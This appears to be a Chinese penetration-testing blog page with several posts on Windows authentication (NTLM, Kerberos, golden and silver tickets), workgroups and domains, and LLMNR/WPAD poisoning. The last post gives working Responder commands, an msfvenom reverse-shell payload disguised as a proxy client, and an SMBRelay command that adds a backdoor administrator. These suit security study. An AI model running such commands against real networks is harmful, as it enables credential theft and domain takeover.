    关于域内信息搜集这里只是粗略零碎的提到了一些,确实还有很多很精悍的搜集技巧,都没提到,不过,那都是后话,比如,关于内网大致拓扑结构信息,端口服务信息….篇幅原因,压根也没提到,来日方长,我们还是循序渐进吧,’步子太大容易扯着蛋’,这次顶多先入个门,主要还是想借此说明,利用系统现有的工具在现有的权限条件下,我们到底能做些什么,务必要时刻谨记我们搜集信息的初衷(严禁盲目),你所搜到的每个信息,都应该有它存在的价值,也就是说后续我们到底可以拿它些什么,这非常无比的重要,举个简单例子,就拿搜集密码来说,首先我要知道哪些地方可能会存有密码,我们可能知道,各种数据库配置文件有数据库的连接密码(sa&root),各种第三方工具的配置文件中可能也保存的也有密码hash(比如,filezilla之流),浏览器中说不定保存的也有密码各种网站密码(找找有没有是目标网站的,想办法登进去传shell也是可以的),如果你运气不错,搞到了vpn账号密码岂不快哉,等等……其实,在你权限和免杀都没问题的情况下,要搜集的密码还有很多,关于更多搜集密码,猜密码的东西,后续会单独梳理出来,说了这么多废话,最终目的也只是想说明,如果大家只是照本宣科的把命令行尸走肉的过一遍,可以很负责任的告诉大家,几乎是没有任何意义的,不是吗,这里都是一些基础的不能再基础的命令,使用也极其简单,能不能拿到有用的东西,关键还在人,对信息的敏感度一定要高,细心点就好了,再说一遍,’严禁盲目,严禁盲目,严禁盲目’,其实,我也一直在强调,工具是死的,人是活的,知道你想要做什么,比怎么做更重要,这里,仅供参考,有不对的地方,麻烦大家多批评指正,说实话,这样敲命令显的确实有点儿呆萌,你可以选择把它丢到脚本中,一键搞定,不过,容错可能要做好点,万一命令执行异常了(有可能错过重要信息),就不太好了,不过,我自己还是喜欢手工,要什么记录什么就好了,干嘛非要动不动搞一大堆没用的信息,看着都累,希望大家平时也是,务必要勤记录,这绝对是个好习惯,祝大家好运,也非常期待多跟大家一起交流,毕竟,个人的力量始终是有限的

深刻理解windows安全认证机制 [ntlm & Kerberos]

发表于 2016-08-11 | 更新于: 2017-10-24 | 分类于 active pentest
字数统计: 2,097 | 阅读时长 ≈ 8


0x01 为什么要理解windows 安全认证机制:

1
加深对后续各种漏洞利用的理解深度,还是那句话,要知其然,更要知其所以然,不废话,咱们直接开始

0x02 windows认证协议主要有以下两种:

1
2
基于ntlm的认证方式,主要用在早期的windows工作组环境中,认证的过程也相对比较简单
另一种是基于Kerberos的认证方式,主要用在域环境中,下面就这两种不同的认证方式做些简要的通信流程说明

0x03 关于ntlm认证流程简要说明,如下:
''

0x04 从图中我们可以清晰的看到,ntlm在域中的认证过程主要分为以下几步:

1
2
3
4
5
6
7
第一步,首先在client输入username,password和domain,然后client会把password hash后的值先缓存到本地
第二步,之后,client把username的明文发送给server(DC)
第三步,DC会生成一个16字节的随机数,即challenge(挑战码),再传回给client
第四步,当client收到challenge以后,会先复制一份出来,然后和缓存中的密码hash再一同混合hash一次,混合后的值称为response,之后client再将challenge,response及username一并都传给server
第五步,server端在收到client传过来的这三个值以后会把它们都转发给DC
第六步,当DC接到过来的这三个值的以后,会根据username到域控的账号数据库(ntds.dit)里面找到该username对应的hash,然后把这个hash拿出来和传过来的challenge值再混合hash
第七步,将(6)中混合后的hash值跟传来的response进行比较,相同则认证成功,反之,则失败,当然,如果是本地登录,所有验证肯定也全部都直接在本地进行了

0x05 关于ntlm的一点小结:
    它是一种基于挑战(challenge)/响应(response)消息交互模式的认证过程,从整个认证过程来看,安全确实不怎么到位,也就是说入侵者只需要拿到一个系统管理员的hash,直接给dc认证就好了,反正账户名和域名都知道,早期的pass the hash (psexec)确实就是通过这种方式来进行的,如果本地管理员的账号密码相同,其实不用密码一样可以被认证,我们所要做的就是不断通过这种方式来尝试拓展内网的其他机器,直到控制整个域,但后来的kb2871997,似乎改变了一些现状,但也可能只是似乎

0x06 关于kerberos的一些概述:
    相对于ntlm而言,kerberos的认证方式就要复杂的多,因为它提供了一个集中式的认证方式,在整个认证过程中总共要涉及到三方:客户端,服务端和KDC [Key Distribution Center 密钥分发中心], 在Windows域环境中,KDC的角色由DC(Domain Controller[域控])来担任,Kerberos是一种基于票据的认证方式,票据(Ticket)是用来安全的在认证服务器和用户请求的服务之间传递用户的身份,同时也会传递一些附加信息,用来保证使用Ticket的用户必须是Ticket中指定的用户,Ticket一旦生成,在生存时间内可以被Client多次使用来申请同一个Server的服务(票据窃取问题)

0x07 kerberos的大致工作流程:
    说到这里,我们大概也能明白,域中的客户端要想访问同域中的某个服务器资源时,需要首先购买该服务端认可的票据,也就是说,客户端在访问服务器之前需要预先买好票,等待服务验票之后才能入场,但是这张票不能直接购买,还需要一张认购权证,也就是说客户端在买票之前需要预先获得一张认购权证,这张认购权证和进入服务器的入场券均有KDC发售,下面就以下图来做简要说明:
''

1
2
3
4
5
6
7
8
9
10
11
1)首先,客户端(client)将域用户的密码hash一次并保存,然后,以此hash来作为客户端和KDC之间的长期共享密钥[kc](当然,在DC上也保存着同样的一条hash)
2)之后,客户端(client)开始利用(1)中的域用户密码hash再把时间戳,clientid,TGS id等信息混合hash一次,然后向as(认证服务器 [Authentication Server])服务器进行请求
3)as接到该请求后,利用长期共享密钥(kc)进行解密,解密成功后,会返回给客户端两个票据
(1)加密的K(c,tgs)(用于客户端后续向KDC发起请求),TGS Name/ID,时间戳等,该票据由Kc加密
(2)票据授予票据(Ticket Granting Ticket,简称TGT),该票据是给TGS的,票据的内容包括K(c,tgs),Client身份信息,域名,时间戳等,该票据由TGS的秘钥加密,只有TGS能够解密
4)然后,客户端会利用长期共享密钥解密k(c,tgs),并利用该秘钥加密生成一个Authenticator,内容包括:lifetime,时间戳,Client身份信息等,连同从AS获取的TGT一并发送给TGS
5)TGS利用自身的秘钥解密TGT,获取K(c,tgs),并用K(c,tgs)解密客户端发送的Authenticator,对Client进行认证,如果Client通过了认证,TGS随机生成一个Session Key K(c,s),并产生两个票据
(1)服务票据(Ts):这是给服务器的服务票据,由Server秘钥Ks加密,内容包括:K(c,s),Client身份信息,Service ID,时间戳,lifetime等
(2)客户端票据(Tc):该票据由K(c,tgs)加密,内容包括:K(c,s),Server身份信息等
6)客户端收到tgs的回应后,利用K(c,tgs)解密Tc,获取K(c,s),Server身份信息等,并利用K(c,s)加密生成一个Authenticator发送给Server,内容包括:时间戳,Client ID等信息,连同Ts一并发送给Server
7)Server端在收到Client的请求后,利用自身秘钥Ks解密Ts,得到K(c,s),再利用K(c,s)解密Authenticator,对Client进行认证,如果认证通过,则表示KDC已经允许了此次通信,此时Sever无需与KDC通信,因为Ks为KDC和Sever之间的长期共享秘钥,如果在有效时间内,则此次请求有效

0x08 关于kerberos利用方法:

1) 黄金票据(Golden Ticket)
    先假设这么一种情况,原先已拿到的域内所有的账户hash,包括krbtgt这个账户,由于有些原因导致域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置krbtgt密码,基于此条件,我们还能利用该票据重新获得域管理员权限,利用krbtgt的HASH值可以伪造生成任意的TGT(mimikatz),能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于Kerberos认证的任何服务

2) 白银票据(Silver Ticket)
    通过观察Kerberos协议的认证过程不难发现,如果我们获取了Server秘钥Ks(服务器口令散列值),就可以跳过KDC的认证,直接伪造票据和目标Server通信

0x09 关于黄金票据和白银票据的一些区别:
1)访问权限不同

1
2
Golden Ticket: 伪造TGT,可以获取任何Kerberos服务权限
Silver Ticket: 伪造TGS,只能访问指定的服务

2)加密方式不同

1
2
Golden Ticket 由Kerberos的Hash加密
Silver Ticket 由服务账号(通常为计算机账户)Hash加密

3)认证流程不同

1
Golden Ticket 的利用过程需要访问域控,而Silver Ticket不需要

小结:
    这些其实都是域内渗透最基础的知识,所以觉得大家还是非常有必要多花点儿时间,好好深刻体会一下,另外,微软给我们的建议是,尽量们不要直接使用NTLM,而使用negotiate,如果使用的是negotiate,windows则会先判断kerberos是否可用,如果可用就优先使用kerberos,否则才会使用NTLM,kerberos的安全性确实要比NTLM要高很多

工作组,域,域控是什么及它们之间的一些关系

发表于 2016-08-10 | 更新于: 2017-05-12 | 分类于 active pentest
字数统计: 3,124 | 阅读时长 ≈ 11

为什么会出现类似像’工作组’这种东西?

    在了解工作组的具体细节之前,我们先来假设这么一个场景,你在某个互联网公司上班,公司部门有三四个,公司所有的pc加起来(假设绝大部分都是windows系统),总共有七八十台的样子,另外,还有几部打印机和文件共享服务器,也就是说,在公司整个办公内网中大概有80台机器的样子,好,有了场景,咱们再开始说正题,一天早上,你去上班,你同部门的基友说它最近搞了一批新种子,话说好看的不要不要的,问你想不想一睹风采,眼疾手快的你,当然是欣然接受了,然后你果断让那个基友回去马上给把种子共享出来,这时问题就来了,当你打开电脑,点进网络邻居里面一看,卧槽……七八十台机器,一下子杂乱无章的砸到你面前,为了种子,你翻啊,翻啊,费老劲才找到基友共享的种子(当然,可以直接ip访问他的共享,例子确实有些牵强,但这样说只是为了把今天的重点引出来,原谅表达能力实在不是太好……),这时候你心里肯定在骂那个傻x网管,就不能把各个部门的电脑分门别类的规整好吗,害老子要找半天,没错,这也正是早期工作组出现的意义,当然,它的意义也并非仅限于此

那么,到底什么是 ‘工作组’ ?

    从上面的实例中我们大概了解到,工作组就是把一些具有相同职能(比如,可以按部门,按房间号,按岗位,按操作系统类型等的不同进行分组管理)的机器都放到一个组里,这样以来,在整个办公内网(网络邻居)中的机器的作用就一目了然了,大大提高了我们的工作效率,……是哪个组就在哪个组里呆着,表面上大家各司其职,一切看起来仅仅有条,貌似是挺好的,别着急,先接着往下看

工作组的一些特点:

    在工作组中的每台机器对其自身都拥有绝对的掌控权,也就是说,你可以随意进出任何一个工作组,所谓的工作组只是形式上的把大家放在了一起而已,并不存在真正的集中管理作用,工作组内的每台机器依然是相互独立,互不干涉,各自为政的,举个很简单的例子,假设你和某台ftp服务器处在一个工作组内,因为工作的需要,你经常要到这个ftp上去上传下载各种文件,这时候问题来了,你必须提供一个正确的ftp账号密码给那台ftp服务器去验证,通过以后它才能让你正常的上传下载,假设在同一个工作组内还有其它各种各样的服务器,你要想去这些服务器上干点儿什么事儿,无疑,你还要提供n多个账号密码,试想,如果只是单单几十台机器也许还能够呛接受,但如果是几百台,几万台呢,很显然,我们有限的脑瓜容量绝对不会留着干记密码这种无聊的事情的,那问题又来了,该怎么办呢,这就用到’域’了,先提一嘴,后面再单独说它

    另外,从上面可知,工作组中的身份验证方式,是直接在被访问的机器上进行的,有个不得不说的有趣事实,当你本地系统的账号密码和工作组的中的某台机器的账号密码恰巧一样时,这时当你在登录状态去访问那台机器,就不再需要提供账号密码,而是直接就能访问到对方的系统资源,虽然这种’撞号’的几率很小,但不代表不可能,再退一步讲,即使你们账号密码不一样,只要你的guest账户处于启用状态(当然啦,默认都是关闭的),且没有更改过guest密码,一样是可以被工作组中的其它机器匿名访问到的,是不是很危险呢,不过,这一点在’域’也会被彻底改变,最后,我们还需要知道的是,一般在装完系统默认就会处在workgroup这个组中,在工作组中的机器使用netbios协议(作用就是把机器名转换为ip)进行通信


工作组优缺点:

    优点:它只是形式上的整体(并非真正的安全边界),但相对来说网络性能较高
    缺点:可以看到,所谓的工作组,实质上还是一盘散沙,基本没有任何安全性可言,如果你想进行安全部署,可能就只能一台一台的来配置,过程非常的繁琐,如果你只是想单单对某个几台机器进行集中管理,那就更麻烦了,因为诸多的原因,所以后来就有了windows’域’

关于工作组的渗透方式:

1
基于各种形式的服务爆破,嗅探,劫持,社工,等等……,你所能想到的所有内网渗透方式,跟普通的内网渗透并没什么太大区别

工作组环境下的简要拓扑说明:

1
处在同一交换机下的 fridend组

''

1
处在同一交换机下的 guys组 & gals组

''

好了,说完工作组,下面就来好好介绍下今天的重点 ‘域’:

    相对工作组这种’松散自由’的管理方式来讲,域就是一个权限控制相当严格的’工作组’,你甚至可以把它粗略理解成升级版的’工作组’,大家貌似都喜欢把域叫做’安全边界’,其实,个人觉得这确实已经说的够形象了,因为,相比工作组而言,它有一个更加严格的安全管理控制机制,不像工作组那样,在域内可以很方便的对某台或者几台机器,对某个用户或者几个用户进行非常详细的权限控制,另外,域也不像工作组,如果是工作组,只要处在同一内网下(默认是workgroup组),就可以随意访问组中的机器和共享的资源,但,如果是域,只是单单处在同一内网下,还是远远不够的,如果你想访问域内的资源,就必须先要以一个合法的身份加到域中,然后登陆到该域中才可以,至于你对域内的资源有什么样的权限,还需要看你当前的域用户身份,到这里,相信大家已经大概理解域和工作组之间的区别了

那么,问题来了,什么又是 ‘域控’ [DC即’域控制器’]呢?

    简单来讲,在一个机器装上活动目录以后,这个机器就会被称作域控,不过,这里需要注意的是,当一台机器变成域控以后该机器上所有的本地用户将会全部变成域内用户,本地安全策略也会升级为域安全策略,域控是整个域内的通信枢纽,所有的权限身份验证都会集中在域控上,如果域控出了问题,整个域内的通信基本也就瘫痪了,需要单独说明的是,域中用来进行身份验证的账户密码hash也都存在域控上[这也是我们在渗透域的最终目的,导出域内所有用户的账号和hash]

域控知道了,那什么又是 ‘域管’ 呢?

    其实,就管理性质而言,跟本地管理员的职责并没什么太大的不同,只不过域管是专门用来管理域控的,就像本地管理员只能用来管理本地系统,个人的认识仅此而已,不对的地方,欢迎大家指正

域和dns的关系 [dns服务器有点儿类似’中间人’的角色,主要负责转发]

    一般我们在搭建域环境时,中间有个步骤会提示要不要一块把dns服务也装了,个人建议这里最好一起装上,dns在域中的最主要的作用就是为了定位域控制器,让客户端能够找到域控制器,不过我们需要事先在dns上创建一个指向域控制器的区域,然后域内的所有客户机包括域控的dns地址都指向搭建好的dns服务器的ip,这时,当域中的机器进行通信时就会根据这个域名来找到域控制器以及对应的客户机,以此来保证域内的正常通信,其实,你可以可以更简单的理解,dns的主要作用其实就是负责转发,一般情况下,dns服务器和域控制器会处在同一台机器上,其实,也不太建议把它分开装

关于父域,子域,目录树,目录林的概念

    父域,子域之间建立信任构成了目录树,目录树与目录树之间建立信任则构成了目录林,核心就在于不管是在林中还是树中,只要他们之间已经建立了信任关系,任何一个域中的机器都可以登录到其它域中

关于父域,子域,活动目录树,目录林环境下的简单拓扑图:

''

关于域内用户数据漫游的设置:

1
正常情况下,用户的环境配置文件会在用户注销时同时保存两份,一份在网络中指定的位置,一份在本地,这样就很方便用户在域中的其它机器上进行登录

域内基本的策略管理:

    另外,在域中还有个很重要的特性,就是统一的策略管理,也就是说,我可以针对一台或者几台域内的机器集中进行严格的策略控制,当一个机器加到域中以后,它就不再走本地的安全策略了,而是统一的走域安全策略,比如,你可以集中对一个或者几个组或者组织单元配置不同的安全策略,也就是说,你想让它干啥,它才能干啥(其实,这个秘密就发生在你加入域的那一刻,域控偷偷往你的本地管理组加了个域管理员账号,所以域管才能很随意的去操作域内的任意机器)

关于域的科普差不多就到这儿了,现在我们就来简单了解下域内的基本渗透流程:

1
务必先想办法拿到一个普通域内用户的密码[发信,钓鱼,随便] -> 登陆到目标域中 -> 尽你所能找到域管进程 -> 抓取域管密码 -> 定位域控 -> 登到域控中导出域内所有hash留存备份 –> 想办法维持住域管权限基本就可以收工了 -> 上马准备下载资料


一点小结:

    虽然,暂时都是些非常基础的概念性的东西,但在后续的域内渗透过程中却无比重要,尤其当你在使用别人的工具(mimikatz,wce……之流)时,如果没有些基础概念做铺垫,是很难灵活运用的,更不要说去理解作者这样做的目的和好处,同样,对自己后续渗透思路的拓展,也是百害而无一利,不仅知其然,更要知其所以然嘛,包括后面加深对一些漏洞(ms14-068)的理解利用,都是如此,个人始终坚信,不管多么复杂的东西最终都是由基础慢慢堆积而来,尽自己的可能追溯到问题的本质自然是最好不过的,虽然可能会耗费你大量的时间和精力,但那却是值得的

利用LLMNR协议进行常规win内网渗透的理解与实践

发表于 2016-07-24 | 更新于: 2017-11-16 | 分类于 active directory pentest
字数统计: 1,442 | 阅读时长 ≈ 5

0x01 由LLMNR协议引发的一系列中间人,在开始真正的内容之前,我们需要先来了解下,在同一内网环境下的windows机器之间的一些通信细节,当一台win机器向另一台win机器以域名[其实是机器名] 的形式请求相应的资源时,正常的通信流程如下

1
2
3
4
5
6
首先,windows会先去检查自己的主机配置文件[即常说的host文件,通常在C:\Windows\System32\drivers\etc下],然后按照此文件事先配置好的指向进行解析
当上面的步骤无法正确解析时,此时系统会自动去检查本地的dns缓存,按照缓存中的指向再进行解析,执行 ipconfig /displaydns 即可看到缓存内容
如果连本地缓存也不能正确解析,它会继续向本地网络中的dns服务器去请求
最后,如果本地网络中的dns也解析失败,它就会被交给LLMNR[链路本地多播名称解析]和netbios-ns去处理解析

[netbios 即名称服务,专门用于同一内网下windows机器之间通过机器名相互访问,工作在会话层]

0x02 而基于LLMNR的中间人攻击,也就发生在上面流程的最后一步:

假设现在有三台机器,A[正常的客户机],B[攻击者的机器],C[要访问的服务器],当A向C发起共享资源请求时,由于本地dns解析失败,正常情况下该请求会被交给LLMNR然后执行netbios查询,但不巧的是攻击者此时正在监听网络中的所有netbios查询请求,自然也就会捕捉到这条查询,当攻击者捕捉到该查询之后,它会告请求者也就是A,我[B]就是你要请求的那台服务器,接着A会把自己的账号密码提供给B认证,也就是说,此时B已经截获到了A的账号密码,一次简易的基于LLMNR中间人的攻击就这样被完成了,下面的流程图已经很好的说明了这一攻击过程
LLMNR

此时,我们再利用responder 来获取目标的smb hash,虽然不是明文,但我们可以配合类似hashcat的hash破解工具尝试破解该hash,当然,如果你有自己的GPU矩阵就再好不过了,或许很快就可以拿到对应的明文

1
# responder -I eth0


在C上,也就是我们的服务器上先创建一个共享目录

然后再回到A上通过smb进行访问

此时,回到B上我们就轻松截获了A发来的登陆凭证


0x03 说完netbios,我们再来说说WPAD,还是先大致了解下WPAD是个东西

正常情况下,一些公司为了提高网络利用率,尽量减小带宽消耗,在内部一般都会采用代理服务器的方式来上网,这也就意味着公司内部的员工要想上网则需要把自己的系统代理地址设为公司代理服务器的地址,说了一大堆没用的,WPAD又是干什么的呢,说白点主要用它来查找网络中的wpad.dat文件的,有了该文件以后,客户端以后就会根据文件中的内容自动配置代理,但如何查找到这个文件的位置呢,一种方式可以通过dns查询,另一种方式是通过dhcp服务进行检索,还有就是利用LLMNR查询,我们确实是可以利用dns或者dhcp毒化,来操控流量指向,但这种方式很容易被拦截,而LLMNR则不一样,它是通过广播告诉同一内网下的所有windows,它就是wpad服务器,这样当你的浏览器设置为’自动检测代理设置’的情况下,它就会下载攻击者事先准备好的wpad.dat文件,这样一来,客户端的流量就会经过攻击者的机器,相信下面的图已经描述的非常清楚了

利用responders获取内网明文密码

1
# responder -I eth0 -wFb




利用responder 在内网中伪造钓鱼页面批量挂后门 [内网社工也许会用得上]

1
2
3
4
5
首先,准备好自己的马,这里我就暂时直接用msf来生成了,实际中,大家尽可能把自己的马伪装的好一点
免杀是必须的,生成好以后把它放到我们的responder的files目录中

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.5 LPORT=1234 -f exe -o /root/Desktop/shell.exe
# mv /root/Desktop/shell.exe /usr/share/responder/files/

1
2
# 编辑responder的主配置文件,开启下面的选项
# vi Responder.conf
1
2
3
4
5
6
Serve-Always = On
Serve-Exe = On
HtmlFilename = files/AccessDenied.html
ExeFilename = files/shell.exe 指定我们刚刚生成的shell名称
ExeDownloadName = ProxyClient.exe 提示下载时所显示的名称,最好弄个成功率比较高的有诱惑性的名字
`

1
# responder -I eth0 -wrf





利用responder进行smbrelay攻击 [后面可以连续提供多个用户名进行尝试,记得用空格分开即可]:

1
#./SMBRelay.py -t 192.168.3.251 -c "net user vuln pass /ADD && net localgroup administrators vuln /add" -t 192.168.3.5 -u Administrator



一点小结:
    相对于各类传统的中间人,类似的攻击,成功率相对来说可能会更高,关于responder的用法,这里只简单列举了一部分,观察到最新版的里面又加了很多貌似很好用的功能,抽空再续吧,另外,也期待大家能一起积极深入交流讨论

1…111213…17
VK

VK

别惹我,我疯起来连自己都黑!

163 日志
115 分类
110 标签
RSS
GitHub E-Mail Twitter
安全资讯
  • FreeBuf
  • 指尖安全
  • SecWiki
  • 先知社区
  • 嘶吼
  • 安全客
  • 安全牛
  • E安全
© 2019 VK
博客全站共312.4k字
由 Evil-404 维护
| 本站总访问量次
0%